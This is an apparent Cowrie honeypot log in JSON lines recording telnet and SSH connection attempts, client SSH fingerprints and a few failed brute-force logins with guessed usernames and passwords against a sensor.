{"eventid":"cowrie.session.closed","duration":39.79092812538147,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:28.868279Z","src_ip":"38.60.198.128","session":"c350f0aec777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37444,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd134773f3c","protocol":"telnet","message":"New connection: 38.60.198.128:37444 (159.203.135.109:23) [session: ebd134773f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:29.379426Z"}
{"eventid":"cowrie.session.closed","duration":35.99504518508911,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:29.749835Z","src_ip":"65.60.27.33","session":"9f821327765a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.999035358428955,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:31.070040Z","src_ip":"38.60.198.128","session":"b8f3ca304c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.434629917144775,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:35.354383Z","src_ip":"38.60.198.128","session":"3c5c0812b9f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52592,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1afc7e7c17f","protocol":"telnet","message":"New connection: 38.60.198.128:52592 (159.203.135.109:23) [session: f1afc7e7c17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:41.416141Z"}
{"eventid":"cowrie.session.closed","duration":52.824403285980225,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:41.509625Z","src_ip":"45.81.23.16","session":"de444d31e95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":54826,"dst_ip":"159.203.135.109","dst_port":22,"session":"66066b652079","protocol":"ssh","message":"New connection: 191.101.59.69:54826 (159.203.135.109:22) [session: 66066b652079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:41.602975Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52172,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6afab0aa84","protocol":"telnet","message":"New connection: 38.60.198.128:52172 (159.203.135.109:23) [session: 9d6afab0aa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:41.858077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:42.313523Z","src_ip":"191.101.59.69","session":"66066b652079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:42.392816Z","src_ip":"191.101.59.69","session":"66066b652079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":12230,"dst_ip":"10.17.0.5","dst_port":22,"session":"9077128309f1","protocol":"ssh","message":"New connection: 115.68.208.117:12230 (10.17.0.5:22) [session: 9077128309f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:42.404604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:42.409679Z","src_ip":"115.68.208.117","session":"9077128309f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:42.625429Z","src_ip":"115.68.208.117","session":"9077128309f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magento","password":"test","message":"login attempt [magento/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:43.466125Z","src_ip":"115.68.208.117","session":"9077128309f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42892,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff326a35643","protocol":"telnet","message":"New connection: 38.54.119.93:42892 (10.17.0.5:23) [session: 3ff326a35643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:44.146738Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53384,"dst_ip":"159.203.135.109","dst_port":23,"session":"8818bf2ec730","protocol":"telnet","message":"New connection: 38.60.198.128:53384 (159.203.135.109:23) [session: 8818bf2ec730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:44.372808Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:44.671642Z","src_ip":"115.68.208.117","session":"9077128309f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57114,"dst_ip":"159.203.135.109","dst_port":23,"session":"98929984ee20","protocol":"telnet","message":"New connection: 38.60.198.128:57114 (159.203.135.109:23) [session: 98929984ee20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:45.432446Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e4e63c90f7e","protocol":"telnet","message":"New connection: 38.60.198.128:60858 (159.203.135.109:23) [session: 6e4e63c90f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:47.704291Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed01b64b788e","protocol":"telnet","message":"New connection: 38.60.198.128:60562 (159.203.135.109:23) [session: ed01b64b788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:48.509736Z"}
{"eventid":"cowrie.session.closed","duration":2.193577289581299,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:49.897745Z","src_ip":"38.60.198.128","session":"6e4e63c90f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.888060569763184,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:49.942224Z","src_ip":"38.60.198.128","session":"c5295dd868b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:51.800905Z","src_ip":"191.101.59.69","session":"66066b652079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.442424058914185,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:52.588896Z","src_ip":"38.54.119.93","session":"3ff326a35643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":56810,"dst_ip":"10.17.0.5","dst_port":22,"session":"628b6624a8e8","protocol":"ssh","message":"New connection: 186.113.245.157:56810 (10.17.0.5:22) [session: 628b6624a8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:52.843101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:52.847853Z","src_ip":"186.113.245.157","session":"628b6624a8e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:52.940946Z","src_ip":"186.113.245.157","session":"628b6624a8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd","message":"login attempt [admin/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:53.344796Z","src_ip":"186.113.245.157","session":"628b6624a8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:54.441052Z","src_ip":"186.113.245.157","session":"628b6624a8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":57074,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a9f7eabb729","protocol":"telnet","message":"New connection: 45.81.23.16:57074 (10.17.0.5:23) [session: 1a9f7eabb729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:57.766984Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":35256,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9d536380f0","protocol":"ssh","message":"New connection: 186.10.86.130:35256 (159.203.135.109:22) [session: 9f9d536380f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:58.725227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:58.730160Z","src_ip":"186.10.86.130","session":"9f9d536380f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:58.877595Z","src_ip":"186.10.86.130","session":"9f9d536380f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2365620136261,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:59.090928Z","src_ip":"38.60.198.128","session":"324460ad6ad4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:59.484002Z","src_ip":"186.10.86.130","session":"9f9d536380f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":22736,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10fe164a234","protocol":"ssh","message":"New connection: 94.156.152.18:22736 (10.17.0.5:22) [session: e10fe164a234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:59.766989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:59.771473Z","src_ip":"94.156.152.18","session":"e10fe164a234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:59.913423Z","src_ip":"94.156.152.18","session":"e10fe164a234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU8GBAMD","message":"login attempt [root/XYZZ#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:00.325138Z","src_ip":"94.156.152.18","session":"e10fe164a234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:00.630498Z","src_ip":"186.10.86.130","session":"9f9d536380f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60990,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f58acf27fc","protocol":"telnet","message":"New connection: 192.211.53.160:60990 (159.203.135.109:23) [session: e1f58acf27fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:01.045779Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:01.464033Z","src_ip":"94.156.152.18","session":"e10fe164a234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00215721130371,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:02.471786Z","src_ip":"38.60.198.128","session":"2dc8ef6dc1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"582954eec646","protocol":"telnet","message":"New connection: 38.60.198.128:57492 (159.203.135.109:23) [session: 582954eec646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:07.429391Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54838,"dst_ip":"159.203.135.109","dst_port":23,"session":"68cdfa203c36","protocol":"telnet","message":"New connection: 38.60.198.128:54838 (159.203.135.109:23) [session: 68cdfa203c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:09.344814Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37445,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1b58ce9820","protocol":"telnet","message":"New connection: 38.60.198.128:37445 (159.203.135.109:23) [session: 0d1b58ce9820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:14.265833Z"}
{"eventid":"cowrie.session.closed","duration":50.01028847694397,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:19.389621Z","src_ip":"38.60.198.128","session":"ebd134773f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.201087474823,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:19.617102Z","src_ip":"38.60.198.128","session":"f1afc7e7c17f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dead504e20d","protocol":"ssh","message":"New connection: 177.85.247.230:42998 (10.17.0.5:22) [session: 6dead504e20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:20.980886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:20.985538Z","src_ip":"177.85.247.230","session":"6dead504e20d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:21.087441Z","src_ip":"177.85.247.230","session":"6dead504e20d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1122","message":"login attempt [ubuntu/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:21.526272Z","src_ip":"177.85.247.230","session":"6dead504e20d","protocol":"ssh"}
